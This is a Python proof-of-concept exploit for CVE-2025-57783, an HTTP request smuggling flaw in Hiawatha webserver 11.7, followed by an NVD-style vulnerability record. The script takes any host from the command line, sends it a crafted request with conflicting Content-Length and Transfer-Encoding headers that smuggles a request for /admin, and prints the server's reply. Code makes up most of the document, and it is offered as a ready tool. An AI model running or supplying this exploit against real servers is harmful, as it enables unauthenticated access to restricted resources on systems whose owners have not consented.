CVE-2025-57783

import socket import sys def send_raw_request(host, port, request): """Send raw HTTP request to target server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.send(request.encode('utf-8')) response = sock.recv(4096) sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" def cve_2025_57783_poc(target_host, target_port=80): """ CVE-2025-57783 HTTP Request Smuggling PoC Target: Hiawatha Webserver 11.7 Vulnerability: Improper header parsing leading to request smuggling """ # Smuggling payload with CL and TE headers smuggling_request = ( "POST / HTTP/1.1\r\n" "Host: " + target_host + "\r\n" "Content-Length: 44\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /admin HTTP/1.1\r\n" "Host: " + target_host + "\r\n" "\r\n" ) print(f"[*] Sending smuggling request to {target_host}:{target_port}") print(f"[*] Request payload:\n{smuggling_request}") response = send_raw_request(target_host, target_port, smuggling_request) print(f"[*] Response:\n{response}") return response if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-57783.py <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 cve_2025_57783_poc(target, port)

{"cve": {"id": "CVE-2025-57783", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:27.350", "lastModified": "2026-02-18T14:20:33.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper header parsing may lead to request smuggling has been identified in Hiawatha webserver version 11.7 which allows an unauthenticated attacker to access restricted resources managed by Hiawatha webserver."}, {"lang": "es", "value": "Se ha identificado que el análisis indebido de encabezados puede dar lugar a contrabando de peticiones en el servidor web Hiawatha versión 11.7, lo que permite a un atacante no autenticado acceder a recursos restringidos gestionados por el servidor web Hiawatha."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hiawatha-webserver:hiawatha:11.7:*:*:*:*:*:*:*", "matchCriteriaId": "0E5A8F20-6686-4792-8AE1-6B47078FECAC"}]}]}], "references": [{"url": "https://gitlab.com/hsleisink/hiawatha/-/blame/master/src/http.c?ref_type=heads#L205", "source": "[email protected]", "tags": ["Product"]}]}}